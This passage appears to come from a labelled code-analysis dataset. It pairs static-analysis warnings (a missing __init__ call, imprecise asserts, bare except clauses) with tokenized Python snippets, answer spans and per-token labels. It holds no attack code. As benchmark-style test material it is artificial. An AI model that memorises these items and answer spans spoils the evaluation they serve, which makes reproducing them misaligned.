"if_",
"tabs_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"rhea",
"der",
"\\u",
"tabs_",
"=_",
"s3",
"\\u",
"rhea",
"der",
"\\u",
"tabs_",
"(_",
"r_",
",_",
"tabs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"rhea",
"der",
"\\u",
"tabs_",
"=_",
"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"trs_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"row_",
"in_",
"fields_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tr_",
"=_",
"TR_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"col_",
"in_",
"row_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"field_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"label_",
"=_",
"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"value_",
"=_",
"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"isinstance_",
"(_",
"col_",
",_",
"(_",
"tuple_",
",_",
"list_",
")_",
")_",
"and_",
"len_",
"(_",
"col_",
")_",
"==_",
"2_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"label_",
",_",
"f_",
"=_",
"col_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"f_",
"=_",
"col_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"callable_",
"(_",
"f_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"value_",
"=_",
"f_",
"(_",
"record_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"if_",
"isinstance_",
"(_",
"f_",
",_",
"str_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"fn_",
"=_",
"f_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"\".\"_",
"in_",
"fn_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"fn_",
"=_",
"f_",
"._",
"split_",
"(_",
"\".\"_",
",_",
"1_",
")_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"fn_",
"not_",
"in_",
"record_",
"or_",
"fn_",
"not_",
"in_",
"table_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"field_",
"=_",
"table_",
"[_",
"fn_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"value_",
"=_",
"record_",
"[_",
"fn_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Field",
".",
"Meth",
"od",
"?",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"callable_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"value_",
"=_",
"value_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"isinstance_",
"(_",
"f_",
",_",
"Field_",
")_",
"and_",
"f_",
"._",
"name_",
"in_",
"record_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"field_",
"=_",
"f_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"value_",
"=_",
"record_",
"[_",
"f_",
"._",
"name_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"field_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"if_",
"not_",
"label_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"label_",
"=_",
"field_",
"._",
"label_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"hasattr_",
"(_",
"field_",
",_",
"\"",
"represent",
"\"_",
")_",
"and_",
"field_",
"._",
"represent_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"value_",
"=_",
"field_",
"._",
"represent_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"label_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"tr_",
"._",
"append_",
"(_",
"TH_",
"(_",
"\"%",
"s",
":",
" ",
"\"_",
"%_",
"label_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"v_",
"=_",
"value_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"isinstance_",
"(_",
"v_",
",_",
"basestring_",
")_",
"and_",
"not_",
"isinstance_",
"(_",
"value_",
",_",
"DIV_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"v_",
"=_",
"unicode_",
"(_",
"v_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"tr_",
"._",
"append_",
"(_",
"TD_",
"(_",
"v_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"trs_",
"._",
"append_",
"(_",
"tr_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"as",
"\\u",
"div_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"rhea",
"der_",
"=_",
"DIV_",
"(_",
"TABLE_",
"(_",
"trs_",
")_",
",_",
"rhea",
"der",
"\\u",
"tabs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"rhea",
"der_",
"=_",
"(_",
"TABLE_",
"(_",
"trs_",
")_",
",_",
"rhea",
"der",
"\\u",
"tabs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Missing call to `__init__` during object initialization | Pinafore/qb/util/inspect_features.py | [
{
"content": "class PurgingCounter(Counter):\n",
"metadata": "root.PurgingCounter",
"header": "['module', '___EOS___']",
"index": 22
},
{
"content": " def __init__(self, max_size=1000000):\n self._max = max_size",
"metadata": "root.PurgingCounter.__init__",
"header": "['class', 'PurgingCounter', '(', 'Counter', ')', ':', '___EOS___']",
"index": 23
}
]
| [
{
"span": "class PurgingCounter(Counter):",
"start_line": 22,
"start_column": 0,
"end_line": 22,
"end_column": 30
}
]
| [
{
"span": "def __init__(self, max_size=1000000):",
"start_line": 23,
"start_column": 4,
"end_line": 23,
"end_column": 41
}
]
| 1 | false | [
"[CLS]_",
"Missing",
"_",
"call_",
"to_",
" _",
"`_",
"\\u\\u",
"init\\u\\u_",
"`_",
"dur",
"ing_",
"object_",
"initialization",
"_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Purg",
"ing",
"Counter_",
"(_",
"Counter_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Purg",
"ing",
"Counter_",
"(_",
"Counter_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"max",
"\\u",
"size_",
"=_",
"1000000_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"\\u",
"max_",
"=_",
"max",
"\\u",
"size_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Imprecise assert | cloudera/hue/desktop/core/ext-py/Django-1.6.10/tests/generic_views/test_detail.py | [
{
"content": " def test_context_object_name(self):\n res = self.client.get('/detail/author/1/context_object_name/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.context['object'], Author.objects.get(pk=1))\n self.assertEqual(res.context['thingy'], Author.objects.get(pk=1))\n self.assertFalse('author' in res.context)\n self.assertTemplateUsed(res, 'generic_views/author_detail.html')",
"metadata": "root.DetailViewTest.test_context_object_name",
"header": "['class', 'DetailViewTest', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 76
},
{
"content": " def test_duplicated_context_object_name(self):\n res = self.client.get('/detail/author/1/dupe_context_object_name/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.context['object'], Author.objects.get(pk=1))\n self.assertFalse('author' in res.context)\n self.assertTemplateUsed(res, 'generic_views/author_detail.html')",
"metadata": "root.DetailViewTest.test_duplicated_context_object_name",
"header": "['class', 'DetailViewTest', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 84
}
]
| [
{
"span": "self.assertFalse('author' in res.context)",
"start_line": 81,
"start_column": 8,
"end_line": 81,
"end_column": 49
},
{
"span": "self.assertFalse('author' in res.context)",
"start_line": 88,
"start_column": 8,
"end_line": 88,
"end_column": 49
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"Det",
"ail",
"View",
"Test_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"context",
"\\u",
"object\\u",
"name_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"res_",
"=_",
"self_",
"._",
"client_",
"._",
"get_",
"(_",
"'/",
"deta",
"il",
"/",
"author",
"/",
"1",
"/",
"context",
"\\u",
"object\\u",
"name",
"/'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"res_",
"._",
"status",
"\\u",
"code_",
",_",
"200_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"res_",
"._",
"context_",
"[_",
"'",
"object",
"'_",
"]_",
",_",
"Author_",
"._",
"objects_",
"._",
"get_",
"(_",
"pk_",
"=_",
"1_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"res_",
"._",
"context_",
"[_",
"'",
"thing",
"y",
"'_",
"]_",
",_",
"Author_",
"._",
"objects_",
"._",
"get_",
"(_",
"pk_",
"=_",
"1_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"False_",
"(_",
"'",
"author",
"'_",
"in_",
"res_",
"._",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Templa",
"te",
"Used_",
"(_",
"res_",
",_",
"'",
"gener",
"ic",
"\\u",
"views",
"/",
"author",
"\\u",
"deta",
"il",
".",
"html",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Det",
"ail",
"View",
"Test_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"duplicated",
"\\u",
"context",
"\\u",
"object\\u",
"name_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"res_",
"=_",
"self_",
"._",
"client_",
"._",
"get_",
"(_",
"'/",
"deta",
"il",
"/",
"author",
"/",
"1",
"/",
"dupe",
"\\u",
"context",
"\\u",
"object\\u",
"name",
"/'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"res_",
"._",
"status",
"\\u",
"code_",
",_",
"200_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"res_",
"._",
"context_",
"[_",
"'",
"object",
"'_",
"]_",
",_",
"Author_",
"._",
"objects_",
"._",
"get_",
"(_",
"pk_",
"=_",
"1_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"False_",
"(_",
"'",
"author",
"'_",
"in_",
"res_",
"._",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u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
Except block handles 'BaseException' | shaunduncan/breezeminder/breezeminder/models/reminder.py | [
{
"content": " def _check_available_balance_reminder(self, card, last_state):\n \"\"\" Check if card stored value has increased \"\"\"\n if card.stored_value is not None and last_state.stored_value is not None:\n try:\n if float(card.stored_value) > float(last_state.stored_value):\n return True\n except:\n app.logger.exception('Exception checking available balance')\n pass\n\n return False",
"metadata": "root.Reminder._check_available_balance_reminder",
"header": "['class', 'Reminder', '(', 'BaseDocument', ')', ':', '___EOS___']",
"index": 152
},
{
"content": " def _check_balance_reminder(self, card, last_state=None):\n \"\"\" Check card stored value \"\"\"\n if card.stored_value is not None:\n try:\n current_value = float(card.stored_value)\n\n # Pedantic - make sure the last value isn't identical\n if last_state is not None and last_state.stored_value is not None:\n last_value = float(last_state.stored_value)\n if current_value == last_value:\n app.logger.info('No change in stored value %s since last reminder: %s' % (current_value, card.last_four))\n return False\n\n return current_value > 0 and current_value <= float(self.threshold)\n except:\n app.logger.exception('Exception checking balance')\n pass\n\n return False",
"metadata": "root.Reminder._check_balance_reminder",
"header": "['class', 'Reminder', '(', 'BaseDocument', ')', ':', '___EOS___']",
"index": 183
},
{
"content": " def _check_round_trip_reminder(self, card, last_state=None):\n \"\"\" Checks products for remaining round trips that have fallen below threshold \"\"\"\n remind = False\n threshold = int(self.threshold)\n\n for product in card.products:\n if product.remaining_rides is None:\n continue\n\n try:\n # This does take into consideration half trips\n round_trips = product.remaining_rides / 2.0\n should_remind = round_trips < threshold\n\n # Pedantic - check last state products for name match\n # and number of round trips\n if last_state:\n last_trips = None\n\n # Find a matching product to compare\n for last in last_state.products:\n if last.name != product.name or last.remaining_rides is None:\n continue\n last_trips = last.remaining_rides / 2.0\n break\n\n if last_trips is not None:\n pedantic_remind = last_trips != round_trips and should_remind\n\n app.logger.info('Ensuring a change in %s round trips for %s: %s' % (round_trips, product.name, pedantic_remind))\n remind = remind or pedantic_remind\n continue\n\n # The default case\n remind = remind or should_remind\n except:\n app.logger.exception('Exception checking round trips')\n pass\n\n return remind",
"metadata": "root.Reminder._check_round_trip_reminder",
"header": "['class', 'Reminder', '(', 'BaseDocument', ')', ':', '___EOS___']",
"index": 232
},
{
"content": " def _check_ride_reminder(self, card, last_state=None):\n \"\"\" Checks products for remaining rides that have fallen below threshold \"\"\"\n remind = False\n threshold = int(self.threshold)\n for product in card.products:\n if product.remaining_rides is None:\n continue\n\n try:\n remaining_rides = int(product.remaining_rides)\n should_remind = remaining_rides <= threshold\n\n # Pedantic - check last state products for name match\n # and number of remaining rides\n if last_state:\n last_rides = None\n\n for last in last_state.products:\n if last.name != product.name or last.remaining_rides is None:\n continue\n last_rides = int(last.remaining_rides)\n break\n\n if last_rides is not None:\n pedantic_remind = last_rides != remaining_rides and should_remind\n\n app.logger.info('Ensuring a change in %s rides for %s: %s' % (remaining_rides, product.name, pedantic_remind))\n remind = remind or pedantic_remind\n continue\n\n remind = remind or should_remind\n except:\n app.logger.exception('Exception checking rides')\n pass\n\n return remind",
"metadata": "root.Reminder._check_ride_reminder",
"header": "['class', 'Reminder', '(', 'BaseDocument', ')', ':', '___EOS___']",
"index": 273
},
{
"content": " def remind(self, card, force=False, last_state=None):\n # Get last reminded for card\n last_reminder_sent = self.last_reminded(card)\n if not force and last_reminder_sent and (datetime.now() - last_reminder_sent.sent_date).days < 1:\n # Don't proceed if we've already sent out a reminder today\n app.logger.info('%s Reminder for card %s has already been sent today. Last sent: %s' % (self.type,\n card.last_four,\n last_reminder_sent))\n return\n\n app.logger.info('Begin %s reminder check for %s' % (self.type, card.last_four))\n\n if not self.check_reminder(card, last_state=last_state):\n app.logger.info('Card %s does not need a %s reminder' % (card.last_four, self.type))\n return\n\n from flask import render_template\n from breezeminder.app import context, filters\n from breezeminder.models.messaging import Messaging\n\n app.logger.info('Reminding user %s of %s at or below threshold' % (self.owner.id, self.type))\n\n subject = '[BreezeMinder] %s reminder' % self.type.name\n messages = []\n context = {\n 'card': card,\n 'reminder': self,\n 'last_state': last_state\n }\n\n # Build list of expiring content\n if self.type == 'EXP':\n delta = self._exp_delta()\n expiring = {\n 'card': self._will_expire(card.expiration_date, delta)\n }\n\n expiring['products'] = [ p for p in card.products if self._will_expire(p.expiration_date, delta) ]\n context['expiring'] = expiring\n\n if self.send_email:\n template = 'messages/email/reminders/%s.html' % self.type.key.lower()\n with app.test_request_context():\n content = render_template(template, **context)\n\n # Queue message for celery\n Messaging.objects.create(recipients=[self.owner.email],\n sender=app.config['DEFAULT_MAIL_SENDER'],\n subject=subject,\n message=content)\n\n if self.send_sms:\n recipients=[]\n if self.owner.can_receive_sms:\n recipients.append(self.owner.cell_phone.sms_address)\n\n if len(recipients) > 0:\n template = 'messages/sms/reminders/%s.html' % self.type.key.lower()\n with app.test_request_context():\n content = render_template(template, **context)\n\n # Make mobile friendly by removing excess whitespace\n content = re.sub('\\s{2,}', ' ', content)\n\n subject = '%s reminder' % self.type.name\n\n # Queue message for celery\n Messaging.objects.create(recipients=recipients,\n sender=app.config['DEFAULT_MAIL_SENDER'],\n subject=subject.upper(), \n message=content,\n is_plain=True)\n\n # Record History, but don't bring down the house\n try:\n with app.test_request_context():\n web_message = render_template('messages/web/reminders/%s.html' % self.type.key.lower(), **context)\n\n ReminderHistory.objects.create(reminder=self,\n card=card,\n message=web_message,\n sent_date=datetime.now(),\n owner=self.owner)\n except:\n app.logger.exception('Could not save a reminder history object')\n\n # Bump the last reminder\n self.save()",
"metadata": "root.Reminder.remind",
"header": "['class', 'Reminder', '(', 'BaseDocument', ')', ':', '___EOS___']",
"index": 315
}
]
| [
{
"span": "except:",
"start_line": 158,
"start_column": 12,
"end_line": 158,
"end_column": 19
},
{
"span": "except:",
"start_line": 197,
"start_column": 12,
"end_line": 197,
"end_column": 19
},
{
"span": "except:",
"start_line": 267,
"start_column": 12,
"end_line": 267,
"end_column": 19
},
{
"span": "except:",
"start_line": 304,
"start_column": 12,
"end_line": 304,
"end_column": 19
},
{
"span": "except:",
"start_line": 398,
"start_column": 8,
"end_line": 398,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"class_",
"Remi",
"nder",
"_",
"(_",
"Base",
"Document_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u",
"check",
"\\u",
"avail",
"able",
"\\u",
"balance",
"\\u",
"reminder",
"_",
"(_",
"self_",
",_",
"card_",
",_",
"last",
"\\u",
"state_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
" ",
"Check",
" ",
"if",
" ",
"card",
" ",
"store",
"d",
" ",
"value",
" ",
"has",
" ",
"increase",
"d",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"card_",
"._",
"store",
"d\\u",
"value_",
"is_",
"not_",
"None_",
"and_",
"last",
"\\u",
"state_",
"._",
"store",
"d\\u",
"value_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"float_",
"(_",
"card_",
"._",
"store",
"d\\u",
"value_",
")_",
">_",
"float_",
"(_",
"last",
"\\u",
"state_",
"._",
"store",
"d\\u",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"return_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"._",
"logger_",
"._",
"exception_",
"(_",
"'",
"Except",
"ion",
" ",
"checking",
" ",
"avail",
"able",
" ",
"balance",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Remi",
"nder",
"_",
"(_",
"Base",
"Document_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u",
"check",
"\\u",
"balance",
"\\u",
"reminder",
"_",
"(_",
"self_",
",_",
"card_",
",_",
"last",
"\\u",
"state_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
" ",
"Check",
" ",
"card",
" ",
"store",
"d",
" ",
"value",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"card_",
"._",
"store",
"d\\u",
"value_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"current",
"\\u",
"value_",
"=_",
"float_",
"(_",
"card_",
"._",
"store",
"d\\u",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Ped",
"antic",
" ",
"-",
" ",
"make",
" ",
"sure",
" ",
"the",
" ",
"last",
" ",
"value",
" ",
"isn",
"'",
"t",
" ",
"identical_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"last",
"\\u",
"state_",
"is_",
"not_",
"None_",
"and_",
"last",
"\\u",
"state_",
"._",
"store",
"d\\u",
"value_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"last",
"\\u",
"value_",
"=_",
"float_",
"(_",
"last",
"\\u",
"state_",
"._",
"store",
"d\\u",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"current",
"\\u",
"value_",
"==_",
"last",
"\\u",
"value_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"app_",
"._",
"logger_",
"._",
"info_",
"(_",
"'",
"No",
" ",
"change",
" ",
"in",
" ",
"store",
"d",
" ",
"value",
" ",
"%",
"s",
" ",
"sinc",
"e",
" ",
"last",
" ",
"reminder",
":",
" ",
"%",
"s",
"'_",
"%_",
"(_",
"current",
"\\u",
"value_",
",_",
"card_",
"._",
"last",
"\\u",
"four",
"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"current",
"\\u",
"value_",
">_",
"0_",
"and_",
"current",
"\\u",
"value_",
"<=_",
"float_",
"(_",
"self_",
"._",
"threshold_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"._",
"logger_",
"._",
"exception_",
"(_",
"'",
"Except",
"ion",
" ",
"checking",
" ",
"balance",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pass_",
